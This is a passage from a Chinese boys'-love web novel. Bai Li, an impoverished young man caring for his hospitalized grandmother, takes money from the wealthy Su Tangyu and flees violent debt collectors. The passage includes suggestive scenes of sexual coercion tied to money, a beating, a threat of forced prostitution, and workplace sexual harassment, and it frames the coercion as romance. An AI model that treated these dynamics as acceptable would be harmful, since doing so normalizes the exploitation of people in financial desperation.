男人现在应该不会报警了吧……毕竟自己已经按照他的要求,什么都做了。
想到什么,白荔脸颊滚烫,但下一秒看见自己东一块西一块的衣服,顿时无言。
“被c傻了?”
苏堂玉打完电话,回身见醒来的白荔坐在地上发呆,这会儿回了神,青年微微扬起的脸有些不高兴,双眉紧蹙,咬着发涨的唇,眼睛也是湿的。
“我的衣服坏了。”
他的声音有些哑了,说起话来轻轻的。
说到这里,他似乎更是觉得委屈,鼻尖也跟着红红的,仿佛下一秒就要哭出声来,“我的衣服被你扯坏了。”
苏堂玉倒是第一次处理这种事情,那张总是冷意的脸上首次出现一抹慌乱。
他看见白荔一激动全身都跟着红,以致于没穿上衣的肩膀,立马冒出粉来,似乎想要将他留下的痕迹,欲盖弥彰似的掩盖。
苏堂玉皱眉,“你那也叫衣……”
“唔……呜……”
面前的青年像是受了天大的委屈一般,此时竟然在他面前颤抖着肩膀,泪水洗着睫毛,虽没发出太大的声音,但依旧哭得像个奶娃娃一样。
苏堂玉烦躁地盯着他瞧了一会儿,最终还是忍住了将他丢出办公室的念头。
他也不知自己在想什么,竟然会对一个碰瓷骗钱的小鬼头忍到这种地步。
苏堂玉蹲下来和他平视,最终被人哭烦了,伸手捏住了他的脸。
他的脸好小。
苏堂玉刻意往下移了些,还是将他的脸遮住了他大半张,“是乞丐吗?为了件破衣服哭成这样。”
“是先生坏,苏先生是坏人……”
青年哭着说道,声音闷闷的从手心传来,睫毛扫在他的虎口散发出的痒意,像是刻意为之的撩拨。
苏堂玉虚着眼睛看他,青年的眼眸一眨,眼泪从眼眶滚下来,流进了他的手心里,让他干燥的手心也变得湿漉。
苏堂玉松开了手,他看着自己沾着眼泪的手心,又握紧。
他站起来,那双高档的手工皮鞋踩在白荔身前的地毯上,压迫着,又往前走了一步。
白荔咬唇,哽咽着忍住眼泪,更是往后退了一点。
只是男人就站在自己身前,他的背抵着沙发,此时更是退无可退。
他只好将双腿分开了一些,才能和男人稍微拉开一点距离。
好重的压迫感,就像彼时,男人的重量分明的,有实感的压在他身上一样。
温度、呼吸、频率,也重新在他的脑子里上演了一番,小腹的酸涨感让他脚趾紧张得蜷缩起来。
白荔以为他会做什么的,可是并没有。
男人的鞋尖只是碰巧踩到了他的裤腿,“赔你衣服。”
白荔抬头看他,还没说谢谢,却看见他笑意盈盈地弯腰来,他颈间的领带随着弯腰的姿势落下来,打到了自己的脸上。
男人伸出了手,几乎要压在自己的眼前,“
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但是你自己的眼泪,得现在舔干净。”
白荔闻言,看向男人手心的眼泪,顿时烧红了耳朵。
他透过男人的指间,看见对方凝视着自己的双眸,打趣的,不像是在看人,而是在看一件物品。
白荔知道自己别无选择。
他松开紧咬的唇畔,仰着头,像只失了利爪的小猫,乖乖伸出舌尖去舔男人的手心。
办公室里安静得不像样子,白荔颤颤巍巍地握住了男人的手臂。
就在他准备结束的那一秒,男人的指尖强势地打开了他的唇齿,粗鲁地按压住他的舌尖。
白荔惊颤,那盛在眼眶里的一兜眼泪,一阖眸,就顺着未干的泪痕落下来。
白荔受不了,轻咬住他的手指,不敢看他。
他听见男人问,“还见吗?”
白荔一下子没明白他的意思,等明白对方是什么意思后,他红着脸摇头。
口腔里失了温度,是男人和他拉远了距离。
白荔呆呆地坐在那里,直到苏堂玉从口袋里拿出一张卡扔到他脚边,“十万。”
白荔愣了愣,根本没想到男人会给他赔偿,而且竟然有那么多。
他捡起那张卡牢牢握在手心里,没有拒绝,“谢谢您,算是我借的,等我有钱了就还给您。”
男人听见他的这番话单眉上挑,似是对他坚持要还钱的姿态感到可笑,只是瞧了他一眼,无所谓地转身回了办公桌。
白荔坐在地上枕着双膝,口腔里传来轻微的麻痹刺痛感让他很在意。
他眯着眼睛看向苏堂玉的背影,男人高大的身量在他的视线里逐渐模糊,白荔摇了摇脑袋,试图让自己清醒一点,才无力地软趴在地上。
衣服很快就被送来,是某家奢侈品的购物袋。
袋子里面装着一件简单的白色T恤衫,白荔不看标签都知道,四位数起步,价格将近他一个月的工资。
白荔的手里好久没有拿过这么贵的衣服了,他有好多T恤衫,单价十元一件,他已经穿了两三年。
男人叫人买来的衣服很大,那件短袖套在他身上像个半袖。
白荔穿上衣服后还有些惶恐,才站起来到苏堂玉的办公桌前同他道别。
“苏先生,打扰您了,再见。”
男人靠在办公椅上闭目养神,没有同他说话,精致的眉眼凝起,并没有看他,满脸的,有些不耐的模样。
白荔自知自己不该继续站在这里,他快步走到门口,直到关上办公室的门,他腿软着,几乎是扶着墙出去的。
离开千百会所,天光还未亮起。
首班公交车还没发车,白荔在路边扫了一辆共享电动车,慢腾腾地骑到家附近,大约是早晨六点半。
阳光直射到大地上,白荔拿出钥匙开门,把身上的衣服脱下来挂好,想了想,他还是没把吊牌摘掉。
如果当二手的卖掉,应该也能赚个千把块吧。
白荔换回了自己的廉价衣服,正准备去洗澡的时候,感觉有些不对劲。
他往自己的裤子里摸了一把,带出的手上全是湿漉漉的麝香味。
不是他的。
是苏堂玉的。
手心、指缝,沾染到手臂上,那块被车擦过还未好的淤痕上,又添了男人留下的痕迹。
“……”
白荔涨红了脸,脱下被弄湿的裤子,口袋里,苏堂玉给他的银行卡不偏不倚地砸在了他的脚背上。
白荔瞧了那张银行卡很久,魂不守舍地去了浴室。
他站在淋浴间里。
灼热的水雾升起,将男人留下的那清晰的指痕也遮掩得干净。
5. 误会
办公桌上的手机铃声不知道响了多久,苏堂玉睁开眼睛。
桌面亮起的手机屏幕上显示着来电人姓名,只是恍然一瞥,通知栏上的时间不知何时来到早上七点。
他伸出的指节迟疑了一瞬,冷然分明的指骨按压着额角跳动的青筋,才接起电话。
“堂玉哥,你等下来接我去你公司啦。”
电话里传来俏皮甜腻的女声,听得苏堂玉眉头紧拧,“舌头打结了?”
“嘘嘘!我爷爷在边上监督着呢,你得配合我啊,”周榕溪压低了声音警告他,听见苏堂玉裹着的微哑的嗓音传进耳朵里,她怔愣,“苏堂玉,这个时间点,你不会是在睡觉吧?”
“……”
“天哪,你竟然会在这个时间睡觉,哪个神医把你的失眠治好了?让我也见见,我得好好感谢他呀。”
苏堂玉的目光下意识地往角落待客区瞥了一眼。
被顶撞得歪七扭八的沙发和茶几、散落在地上的靠枕也尤为扎眼。
想到什么,苏堂玉的心情稍微愉悦了些,“少管闲事。”
*
手里多了十万块,怕被人找上门来抢走,白荔并不敢留着太久。
他拿着六万块钱先去医院把积攒的住院费交了,为了生活,网上借的贷款也还了七七八八。
十万块钱仿佛只是十块钱,一下就如水流般在他手心里滑走,很快见了底。
奶奶的病暂时平稳了下来,虽然还是没有意识,但身体指征稳定了。
压在身上的重担减轻了不少,白荔为此感到高兴。
“又来看林奶奶了,不进去?”
医院的护士几乎已经眼熟了白荔,见他过来了,也抽空搭了句话。
白荔站在病房门口往里瞧,怕惊扰奶奶休息,他并不敢进去。
“嗯,等下就走了,”他抿唇,微微一笑,“麻烦你们了。”
“没什么,这是我们的工作。”
她觉得白荔近来又瘦了许多,但不好开口插手别人的生活,嘱咐了一句好好吃饭,便去了下一个病房。
护士离开,白荔一个人从病房门口望进去,病床上,奶奶脸颊凹陷,形容枯槁,就这么静静地躺在那里。
只是那样活着。
白荔不忍心再看下去,他无力靠在病房的门口,也只是这样活着。
从医院出来,天乌蒙蒙的黑。
今天大学城边上的兼职店需要他的帮忙,白荔带上上次同老板儿子那儿借的五百块,趁这会儿还有点余钱,顺道把从人家那借的钱先给还了。
白荔到店里时还没到饭点,人不是很多。
他从换衣间换好衣服出来,正巧看见那位弟弟背着书包回来,应该是大学刚下课。
青年无精打采的,一进门,刚好和他对视上,又兴高采烈地跑了过来,“哥!你来啦。”
他跑得太快,一下冲到自己面前,热情得不行。
白荔后退了一步,稍稍和他拉开距离,“冉虎,刚放学吗?”
“是的,哥你怎么来了?不是说今天不来的吗?”
“今天有空,刚好老板叫我过来帮忙。”
白荔见四下无人,便将人偷偷拉到一边去,从口袋的钱夹里拿出放好的五百块给他,“上次你借我的,喏,拿着。”
看着白荔递过来的钱,冉虎收敛了上扬的眉眼,“我不急的,就先放在你那里也没有关系。”
“怎么会没关系,”白荔见他没接,便往他的手里塞了一下,“拿着吧,再不拿过几天又要被我花了。”
冉虎被触碰到的手心发痒,他红了红脸,把钱捏成了团塞进口袋里,没再说什么不要的话,“好吧,刚好我也想买件衣服,哥你一会儿下班了先别走,我请你吃东西。”
饭点一到,店里立刻就涌进了一大批学生,快到期末,大家都在复习中,吃饭的速度很快。
白荔把最后一桌客人的盘子搬到后厨去,冉虎来帮忙,接过了他手里的盘子,“哥,我买了烧烤来,一会儿去我房间打游戏吧。”
冉虎的父亲对待员工很严格,不太愿意冉虎同他们接触过多,白荔下意识地看了眼周围,没见老板盯着自己,才小声道,“不啦不啦,我一会儿就走了。”
冉虎的脑袋低垂,肉眼可见地有了几分失落,白荔刚想安慰他,视线扫过青年手机屏幕时,瞧见对方正在浏览某品牌的夏季短袖衫。
正好是苏堂玉赔给他的那件。
“你想买这件衣服?”白荔见他望过来,连忙摆了摆手,“啊,我不是故意要看的。”
“没事,不是什么隐私,”冉虎挠了挠脸颊,“就是有点贵,我爸妈肯定不愿意给我钱买这个,得我自己打工了。”
白荔知道工作有多累,听见还在上学的孩子说要打工,顿时产生了怜爱之情,“我那有一件,才穿了一次,吊牌都没摘的,你不嫌弃的话送给你。”
“你的吗?我怎么可能嫌弃!”冉虎握住了白荔的手,恨不能把人搂进怀里的兴奋,“但是我肯定不能白要,哥你赚钱也很辛苦的,多少得收些钱。”
白荔无法拒绝这原本就正当的钱,原本那件短袖衫他就是打算拿来卖的,低价卖给冉虎也好,也算两清,“那……我就收两百就好。”
“太好了,我们约个时间在外面见面吧哥,今天晚上有空吗?”
冉虎约他在影城附近见面,是离他现在居住的不远的地方,徒步走二十分钟也就到了。
白荔连着包装袋和袋子里保存好的发票,和着衣服一块儿带去了约定地点。
冉虎还没过来,白荔便站在广告牌下显眼的位置等他。
初夏夜晚,没到闷热得让人透不过气,道路两旁的车辆来往,人行道上的行人成群结队,谈笑声夹杂着将晚间照得晶亮的灯光。
时不时有人来和他搭讪,白荔一个一个拒绝,他站在人群间,低着头有些无所适从。
好在冉虎没让他等得太久,很快就过来了。
青年手里拿着两杯饮料,遥遥朝他招手,像是一路跑过来的,在他面前站定时,已经是气喘吁吁。
“哥,久等了吧?那家奶茶店排队的人好多。”
冉虎弯着腰吐气,笑着把手里的冷饮递给白荔,“据说是新品,买的人好多。”
白荔受宠若惊,被青年的一杯奶茶弄得不好意思。
他接得手忙脚乱,冷
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气从手心蔓延开来,却更加燥热,“谢谢,等会儿我把钱给你。”
冉虎一愣,看着面前不过大他两岁的白荔,心里冒出一些奇怪的情绪,“不用和我分得那么清楚。”
白荔抬眸和他对视,夜晚的光线却变得灼人,他低下头去,还是小声道,“谢谢。”
*
“明天城西的那块地皮,你帮我一起拿下来,我保证消停一段时间不缠着你了。”
江城有名的su咖啡厅,是气氛很好的情侣打卡地。
周榕溪顶着爷爷给的压力,拉着苏堂玉来这里,名为约会,实为生意。
她笑着从自己面前那块还没动过的提拉米苏上戳下冰山一角,递到苏堂玉的嘴边,可男人却死不张口,眉头紧皱着。
她皮笑肉不笑,“吃吧,有人看着呢,给我点面子。”
面对男人根本不配合的行为,她只好忍痛,“到时候事成了,分你1.5。”
“……”
“2?”
“……”
“2.5,不能再多了。”
苏堂玉笑,“2.8,签合同。”
“……成交。”
周榕溪完全不知道自己当初是怎么想的,那么多听话的男人不找,为什么偏偏找眼前这种刻薄的男人合作。
但这些人里,也确实只有苏堂玉稍微靠谱些,对她没兴趣,对她家没兴趣,后续不会产生太多的利益纠纷。
周榕溪没办法,在完全拿到周家的所属权时,她只能暂时牺牲掉一些可以割舍的钱财和无关紧要的情绪。
谈完正事,两人从咖啡馆里出来,周榕溪拿着手机打开电子邮箱,突然想到什么有趣的事,问他,“前两天有个眼熟的人来我公司应聘,你猜是谁?”
周榕溪笑着问完,半天也没有得到男人的回应,她疑惑地从手机屏幕上抬起头来,却发现男人的目光难得的放在了一处很平凡的地点。
视线的尽头,是对面通往影城的人行道上,站着的两个二十岁左右的男青年。
其中一个人正往另一个人手里塞钱,好几张红票子,两人脸色红红的,有点纯情的肢体接触,又看起来有些微妙。
尤其是,那位背对着自己站着的男人,白皙纤细的后颈延伸到的衣领交界处,分明留着很重的情爱欢愉过后的痕迹,不让人多想都难。
周榕溪不太想用有色眼镜来看人,不过见苏堂玉直勾勾盯着,她终于找到机会调侃他一句,“现在的年轻人还挺开放的哈,看得这么认真,你感兴趣?哦~难不成是你喜欢的类型?”
周榕溪在苏堂玉身上耍了嘴皮子,这会儿正等着苏少爷发难,没曾想对方只是突然黑了脸,冷笑道,“你会对男娼感兴趣?”
男人说完,便头也不回地离开,垂在身侧的手从容十分,却是青筋直起,沿着骨骼感清隽的手臂往衬衫的袖口里去。
周榕溪抿唇一笑,看出几分端倪来。
她不由得多看了眼被苏堂玉称作“男娼”的青年,直到那人回过头来,明媚的面庞透出纯真和青涩。
叫人看得分了神。
“哦,”她露出了然的笑,“真漂亮,和那位完全不是一个类型。”
6. 私情
白荔说好只要冉虎的两百块,没想到对方竟然从口袋里掏了一千给他,怎么都拒绝不了,像是以前过年,亲戚来串门时给他塞红包。
“你怎么给我这么多,我不能要。”
他推了好几次,青年倒是毫不含糊地伸手往他口袋里塞,“什么价格我也清楚,哥的钱也不是大风刮来的,我爸妈会给我零花钱,给了哥这一千,我等会儿还能请你看电影。”
白荔自知自己拒绝不了,对于这场交易,还是在收下那一千块钱结束。
“那我请你吃饭。”他从手里抽了两百出来,“电影就不看了,我还有个兼职,等下要去。”
“哪儿啊?我也去。”
冉虎跟在他身侧,叽叽喳喳的好奇,白荔被他的活力感染,笑道,“也是吃饭的地方,吃夜宵的人很多的。”
白荔转身往影城里走,余光在人群中似乎瞥到了熟悉的身影。
他紧张地往那交错的人潮中看去,没有看到印象中的男人的样子,一瞬间心跳得厉害。
白荔努力忽略掉身体的不适感,烙在他身体里还未完全褪去的异样却铺天盖地袭来。
听着身旁的青年单纯地在和他讲着学校里发生的趣事,而他只是敷衍地附和着,努力藏着自己见不得光的私情。
“然后啊,我就和我们班长把场地拿下来了,那帮家伙也没办法来硬的,那天下午我们还是在老地方打的篮球,把那抢场地的给气得脸红脖子粗。”
冉虎的话不知怎么跳到了这里,白荔的目光不自觉地落在他身上,有些疑惑。
冉虎还在兴头上的话语,这会儿注意到白荔的视线。
他愣了愣,见人的注意力完全在自己身上,随即脸色像炸开的浆果红透,终于安静下来,“哥、我,我们去吃什么啊?”
“都行,你爱吃什么?”
“都行?都行好,都行好。”
“?”
白荔笑他的突然慌张,“那我们去吃火锅吧,你应该喜欢的。”
“嗯,”他大声道,“很喜欢!”
青年的声音很是振奋,吸引到路人也频频望了过来。
白荔没想到他那么爱吃火锅,震惊之余,笑着说下次还带他来吃,“好啦,走吧。”
青年红着脸,跟在他身后嘀嘀咕咕的不知道在说些什么,只是满脸懊恼的模样,有点可爱。
和冉虎的晚餐结束,白荔去了下一个兼职地点。
回家又是接近凌晨,白荔沾着满身的油烟气,想着能不能再去找个活计,临了快到家门口时,突闻一阵嘈杂的说话声。
“你确定那小子就住在这里?”
“那肯定是了,今天非得从他嘴里打出点钱来不可,他爸欠了我们这么多钱,父债子偿天经地义。”
是有些熟悉的声音。
这两年来,频繁发生讨债人上门的事情,他带着奶奶东躲西藏,好不容易才安稳下来,又要开始了。
白荔慌不择路地想要逃离这里,却没有逃过他们的眼睛。
就像是在暗处滋生的藤蔓,一把缚住了他的手脚。
“小侄儿,好久不见,上次说好会还钱的,怎么就跑了?”
白荔的沉默不语,彻底激怒了对方。
他被人推搡在地,关上的房门隔绝了外头昏暗的路灯,屋内的灯光被摸索着打开,光亮又在一瞬间袭来。
他眯着眼睛,视线只落在地板上,小腹猝不及防地被踢了一脚,白荔闷哼着没有出声。
“小畜生,怎么不说话,是哑巴了吗?”
泄愤般的拳脚如雨点般落在身上,直直疼进骨子里。
白荔捂着自己的脸蜷缩在角落里,猛的头皮被牵扯的钝痛感,还是让他被迫抬起头来。
“你爸当初信誓旦旦地说找我们借钱投资,谁知道是拿去赌了,你受尽了你爸的好处,不得替他还吗?拿钱出来!”
“诶!跟他废话什么,直接抓起来卖窑子去,用屁股还能卖个好价钱,反正我们也是妻离子散,大不了同归于尽!”
“叔叔、叔叔……!”白荔闻言,才抓紧了男人的裤腿,“那是要坐牢的事儿,搭上自由不值得,我口袋里只剩下几百块钱,叔叔们先去买条烟,我要有钱怎么可能不拿出来呢,是真的自己都填不饱肚子才没联系你们。”
他从口袋里掏出冉虎给的钱来,毕恭毕敬地递到他们手里,“叔叔们行行好,再宽限宽限我吧,我就住在这儿,房租才交的,哪儿也跑不了。”
两人被说动了心,面面相觑。
良久,男人才搓了搓手里的钱分辨真假,“去去去,再给你两天,要再不多拿点钱出来跟你没完,这钱就算你孝敬的了。”
“是……”
两人走时,又有些不放心,折回来警告他,“小侄儿,我是看在往日情分上才对你好言相劝,好话我今天已经说尽了,要是这次再逃走了,下次被我们抓到可不是几百就能打发了的。”
白荔忍着身体的不适合痛楚,拿出笑脸来迎合,“叔叔我知道的,你们也不容易,我明天就去预支下个月的工资,我先把下个月的工资给您。”
男人嘴角上扬,才状做苦恼的同情,“你也是可惜,有个那样的父亲。”
“……”
两人走后,房东大叔很快上来敲门,说他太吵,让他不要带些不三不四的人回来,“要是明天还这样,我就不让你住了。”
白荔保证,好声好气地将人送走,房间里终于安静下来,空气里尖锐的噪音穿透耳膜。
他捂着肚子蜷缩在床边,疼痛后知后觉地袭来,如同细密的针脚在他的伤口上不断穿刺。
床头没放稳的水杯随着他因疼痛而翻身的动作毫不犹豫地滚落在地。
玻璃碎裂的脆响在黑夜里独自放大,他惊坐起,仔细听着空气里细微的响动。
就那么僵持了一分钟,没有人来敲门,他爬进被子里,将自己捂得汗湿枕巾。
这一夜睡得愈加不安稳。
白荔好不容易睡去,便又很快醒来,还以为已经早晨,睁眼一瞧,离他睡着不过过去了六分钟。
他睁着眼睛瞧窗户外的天,只是微微亮着。
身体的疼痛在闲下来时愈发清晰,不想让自己的注意力都在伤口上,他早早爬起来给自己熬粥,盛出一碗,就往粥里加了一大勺白糖,随着热气搅合散了,闷头喝了几口当做早餐。
收拾完厨房,天也跟着亮了。
早上排的班很紧凑,轮到白荔休息的时间已经将近午餐。
他先去了餐厅吃饭,随后才趁着间隙去找李树明。
想要预支工资,就得经过经理的审批,白荔虽万般不情愿,但又对于迫在眉睫的讨债感到无助和恐惧。
他硬着头皮敲响经理办公室的门,许久得不到回应,那人的声音却忽的从身后近距离响起。
“找我?”
白荔被吓了一跳,后退到门板上,看见男人脸上不怀好意的笑容。
他以前还会装出正人君子的模样靠近,现在却完全的不加掩饰,“你怕我啊?”
“没有,”白荔想到等会儿还要预支工资的事情,努力克制自己的情绪,跟他进了办公室,“经理。”
白荔没敢将门关上,所幸办公室也并没有很大,
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他站在离门近的那一边,小心翼翼地开口,“我想预支下个月的工资。”
李树明给自己倒了杯茶喝,靠在椅子上并没有立即接话,只是摇着头叹了口气,才道,“白荔,之前我一直很疼你,他们都知道,你自己心里也清楚,但你这都是第几次预支工资了,你下个月本来就没有工资,上哪预支?”
“那,下下个月……”
“你当我们单位是什么慈善机构吗?你想拿钱就拿钱?”李树明变了脸色,茶杯重重往桌上一放,看见白荔紧张得脸色苍白,他才满意地笑道,“不是我不同意,白荔,既然出来工作了,总是要懂点事儿的,你知道吧?”
男人的目光在他身上一点一点反复扫视着,白荔紧绷着身体,道,“经理,请你自重,上次更衣室的事情我有证人。”
“怎么样,证人?你还想报警吗?就凭你。”李树明笑他自不量力,“随便你想怎么样好了,反正到头来吃亏的人不是我。”
白荔知道他说的是事实,他需要花费太多精力去解决这件事情,而他现在恰恰没有时间。
达不到目的,白荔正要走,听见他说,“我私人倒是可以借你。”
他话语里的挑逗,明里暗里的暗示,让白荔没有停留地跑出了他的办公室。
关上门的那一刻,身后幽幽传来男人讽刺声,“嘁,给脸不要脸了,真当自己是什么香饽饽。”
“……”
下午的工作,白荔一直心不在焉。
他有些不敢回家了,怕家里已经有人在等他,只要一想到这个,身上的伤口就隐隐作痛。
临近下班时间,白荔看见林淼过来,之前欠她的钱还没还,他不敢再开口同她借钱。
倒是林淼主动问起了他的事情,白荔说最近都好,哄着人放下了心。
“有事情一定要告诉我,既然你说没事,那我就相信你,”她笑,“晚上食堂有你喜欢的甜点,多吃点。”
“嗯,谢谢林姐。”
白荔不愿让她担心,没有同她一道离开岗位。
下班去食堂吃完饭后,白荔为了躲开追债人的纠缠,直接去了下一个工作地点,并没有回家。
谁曾想,夜半回到家中,来讨债的人不仅守在家门口,竟然还多了些人在附近蹲守。
拐过巷口,就有陌生的面孔。
不是昨天好说话的叔叔,看起来是专业讨债公司的人。
意识到危险,白荔拔腿就跑,幸好家里也没有任何贵重物品,暂时不用回去也没有关系。
夏季夜晚安静得只剩下蝉鸣,微凉的风刮过脸颊和耳廓,带来的却是不止的燥热。
白荔往大路跑去,不敢回头看自己身后的路,喉咙里冒出来的腥甜,和脚上麻木的无力,在这个寂静的夜里被无限放大。
白荔跌坐在绿化带上休息,注意倾听着周围的动静。
马路上不时开过的小汽车断断续续,车轮压过刚翻新的柏油路,带起并不好闻的味道。
他思索着,看着路灯底下细小的蚊虫飞舞,忽的,口袋里响起了电话铃打破了道路的宁静。
突如其来的声音让白荔急速跳动的心,更是拔高到下一顶点。
他看见不远处的十字路口出现赶往而来的人影,陌生的号码,大约是催债人员在确定他的位置而打来的电话,他只是站起来就往前跑。
身后的脚步声越来越近,口袋里的电话还在响。
他赶忙挂掉电话,慌不择路地往灌木丛里去,躺在杂乱的草地里,他的手脚发软,再也挪不动身体。
直到透过灌木丛,他隐隐看到眼前停下一个人影。
7. 好凶
“诶,大白!不可以!”
一只黑色的小型犬闯入白荔的眼帘,很快就被它的主人拉开了。
是凌晨出来遛狗的人。
对方似乎也注意到了自己,惊奇地望了过来,正要说话,白荔赶忙拉住了他的裤腿摇了摇头,祈求他不要发出声音。
安静的一瞬,白荔瞧见追来的人往人行道边走过,只注意了这边一秒,就彻底消失在此处的拐角尽头。
白荔的视线追随他们而去,确认他们不会在段时间内返回,才狠狠松了一口气。
“你……”
白荔听到对方用疑惑而好奇的语气发出疑问,他赶忙松开自己拽着他裤脚的手,“不好意思。”
“啊,没什么。”
郑星纬漫不经心道。
对于一个半夜鬼鬼祟祟躲在草堆里的流浪汉,他并不感兴趣,倒不如说想赶紧离开才是真的。
只是这会儿他借着路灯的光,看清了白荔的脸。
那人娇小的脸上落着几道被灌木丛划破的痕迹,因慌张而微垂下来的眉眼扑朔,真是我见犹怜。
郑星纬扬唇,一改散漫,将手里的狗牵好,就要去扶他,“能起来吗?”
“嗯。”白荔躲过了他的触碰,怕人是和对方一伙儿的,并不敢在这里停留太久。
却又被人牵着狗追上来问,“你半夜一个人在这里也太危险了,是遇到什么困难了?不如去我家坐坐?”
“不用了,我有家。”
白荔拒绝了他的热情邀请,打算快步离开这里,又被人穷追不舍,“你喜欢狗吗?我家大白很喜欢你,要不然留个联系方式,下次一起出来遛狗。”
白荔这才看了一眼男人身边的小黑狗,小狗吐着舌头像是在对他笑,高高翘起的尾巴像螺旋桨在摇。
白荔喜欢小动物,但此时他没有心情和陌生人交谈,于是谨慎地摇了摇头,“我没时间的。”
他的注意力还在周围的环境里,处于怕人随时会冲出来将他捉走的胆战心惊。
“抱歉,我得先走了。”
白荔没再原地过多地停留,边说着这些话边往相反的方向走去。
天又久久还不能亮起,白荔不敢停下脚步,往医院的方向走。
他虽然这么努力地活着,但有时却也觉得厌倦。
这个世界上好像没有什么太多值得顾虑的事情,如果没有奶奶,或许他现在应该同父亲见上面了。
而奶奶还在医院里躺着,他又不能不管不顾地抛弃她一个人逃走。
白荔坐在住院部楼下的草坪上发呆,这里很安全,不会有人打扰。
夜晚的星星充足,有几颗真的像童话里那般耀眼闪烁。
白荔盯着看了很久,也丝毫不觉得困倦。
只是疲惫袭来,天又恰好亮了。
口袋里手机发出电量不足的提示音,在自动关机的前一秒,医院打来了电话。
仿佛催命般裹挟而来的窒息感,让白荔顾不得麻木的手脚,往住院部跑去。
*
手术室的灯亮起又暗下。
医生平静的情绪,将结果告诉白荔,“病人的情况虽然暂时稳定,但后续发展谁也不能保证,如果资金充足,还是尽快转院,上级医院的医疗条件……”
“有钱,我有钱,转院。”白荔稍显激动的话语,打断了医生的忠告,“我们转院。”
他不知道自己是怎么信誓旦旦地说出自己是有钱的这种话。
在医院里拿着那支没电的手机徘徊了许久,白荔还是先回了一趟家,给手机充上电。
昨晚来讨债的人白天不在,他小心翼翼地进了家门,确定没有人发现他,在忐忑的环境里,等待到手机有足够的电量开机。
转院需要更多的钱,而目前的住院费和手续费还未结清。
一串天文数字仿佛一把重锤狠狠压在他的身上,白荔靠着墙壁,呆滞地盯着自己卡住的手机界面。
忽然而至的无助和窝囊的愤怒,除了哭又干不了别的。
他抬起手臂擦掉眼泪,才在拨出的电话被接通的那一刻清了清嗓,带着忽略不掉的轻微颤音,略有谄媚地求助,“苏先生,您好呀,我是上次,那天晚上,和您在千百会所见面的,我叫……”
“哦,想挨操了?”
“还是,来还钱。”
男人语气冷冰冰的。
白荔几乎都能想象得到对方说话时脸上的微表情,一定是冷漠的,带着嘲讽。
无论是前面一句,还是后面男人有意提及的他当初的承诺,都让白荔觉得难堪。
可是他现在别无选择。
白荔刚哭过,还带着绵软的鼻音,此时又极尽讨好地想要获得好感,就算被这么侮辱也不生气。
他找男人求和,声音软绵绵的没点气势,“都不是的,苏先生,我是想找您借点钱,我不是白借,我给您打欠条。”
电话里忽的,沉默了好一阵。
男人并未说话。
白荔还是急了,顾不得什么体面不体面的,主动提及了见面的事情,“苏先生,您看您方不方便见我一面,我随时都有时间的,您要是想找我,随时可以打我电话。”
不知道是不是白荔听错了,他好像听见男人笑了一声,随之,电话里的男人道,“地址一会儿发你。”
白荔愣了一瞬,等反应过来对方是什么意思,还没说谢谢,通话已然结束。
事情似乎还没有到要命的地步。
苏堂玉现在是他唯一的救命稻草,无论如何他都要紧紧抓住。
这是奶奶的一线生机,也是他的。
白荔深吸了口气,揉干眼泪,现在不是哭的时候。
一分钟后,苏堂玉的消息传来。
地址是某个五星级酒店的总统套房。
*
晚上八点。
白荔站在酒店的房间门口,踌躇了许久,才要敲门,发现房门并没有完全关紧。
他推门进去,看见苏堂玉坐在客厅正中央的沙发上。
男人背对着他,白衬衫的袖子挽起,露出白皙结实的小臂。
他腕上的青筋凸起,骨节分明的指间夹着一根没有点燃的烟,时不时转动着,看起来有些不耐烦的模样。
白荔迟疑了一秒,还是叫他,“苏先生。”
苏堂玉手上的动作停顿,并未转头瞧他,道,“过来。”
白荔不想让男人觉得自己麻烦而生气,闻言,才听话地走过去,站在他对面,“感谢您百忙之中还愿意抽空见我。”
白荔客套而官方的话语,一下把场面拉得极其严肃。
苏堂玉哼声,似乎是想起了点什么,笑他,“钱倒是用得快,你不是很能赚吗?”
白荔不清楚苏堂玉是怎么知道他最近一直在努力赚钱的,还以为对方或许是在哪里看到了他打工的样子。
他没有反驳,也没有告知对方自己用钱快的原因,只承认般地点了点头,模棱两可地不让对方的话落在地上,“就是……需要钱。”
不知道这句话哪里惹到了对方。
白荔见他变了脸色,倒是一点笑意也没有了。
眼见着借钱的事情要没了着落,白荔心想要是自己没说话就好了,多说反而容易多错。
白荔低下头去,小声致歉,“苏先生,对不……”
“要钱可以。”
“但我从不做亏本生意。”
白荔站在他对面,抬起头来,而男人只是坐在那里,像打量一件商品,打量着他。
白荔紧张地紧捏衣角,将红润的指尖捏得泛白,随之阖下错乱的眼眸,窘迫地红了耳珠。
男人见状,忽然笑了一声,“过来。”
白荔不敢放弃这么好的机会,除了苏堂玉以外,他根本不认识能一下拿出足够负担他目前钱款的人来。
让人焦头烂额的金钱,叫人不得不为生活低下头来。
没有过多的思考,白荔向他走去。
或许是他的步伐有些缓慢,男人不悦的目光扫视而来。
白荔想起上次苏堂玉毫不留情的驱赶,顿时识人脸色地加快了步伐。
大约隔了小半米的距离,他站在苏堂玉面前停下,不敢再靠近,“我站在这里……”
“看来你还没弄清现在的情况。”
苏堂玉开口,口吻淡淡地点出他欲要蒙混过关的小动作,“是我求着你来的吗?”
男人松弛地靠在沙发上,“咔哒”的闷响,火机将指
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间的烟点燃。
白荔瞧见那橘黄色的火光燃起,让人呼吸不上的烟草味,迷迷糊糊地想起更早时候被遗忘掉的交缠的亲密,落地窗前映着窗外的灯海浮动不停。
他的脸色顿时泛起烧热的红晕,烟草味闷得人牙尖发痒,他轻轻晃着脑袋摇了摇头,“是我、是我求您。”
苏堂玉坐在那儿没动,只是笑了笑,笑他求人没有求人的态度,要钱倒是开口得很快,惹得人莫名其妙地烦躁。
分明之前不知道在哪个男人身上要过钱,便宜得很,倒是在他面前摆起谱来。
苏堂玉的眸光直直落在了他的身上,白荔不好意思躲闪,听闻男人没头没脑地问了一句,“卖了多少?”
“啊。”
白荔自然是不知他在说些什么,但联想到之前在影城附近和冉虎见面时,恍惚瞧见了苏堂玉的影子。
难不成并不是错觉,苏堂玉当时真的也在影城附近,并且看到了他的交易吗?
毕竟是别人送的衣服,擅自做主卖掉换钱,白荔自然觉得不好意思。
他略有些支支吾吾道,“就是、一千块。”
“那你找我要多少?”
苏堂玉的脸色变得更加不好看,白荔自知自己有错,此时更加不愿袒露更多,“我不是找您要,是借。”
男人闻言,脸上的表情无语得像是要翻白眼,薄唇间的烟雾吐散在空中,缓缓遮住了他的情绪。
“我还借十万,”白荔不敢看他的表情,怕人不肯,又软着脾气问,“行吗?我不白借,您可以给我算利息。”
“我要的可不是钱。”
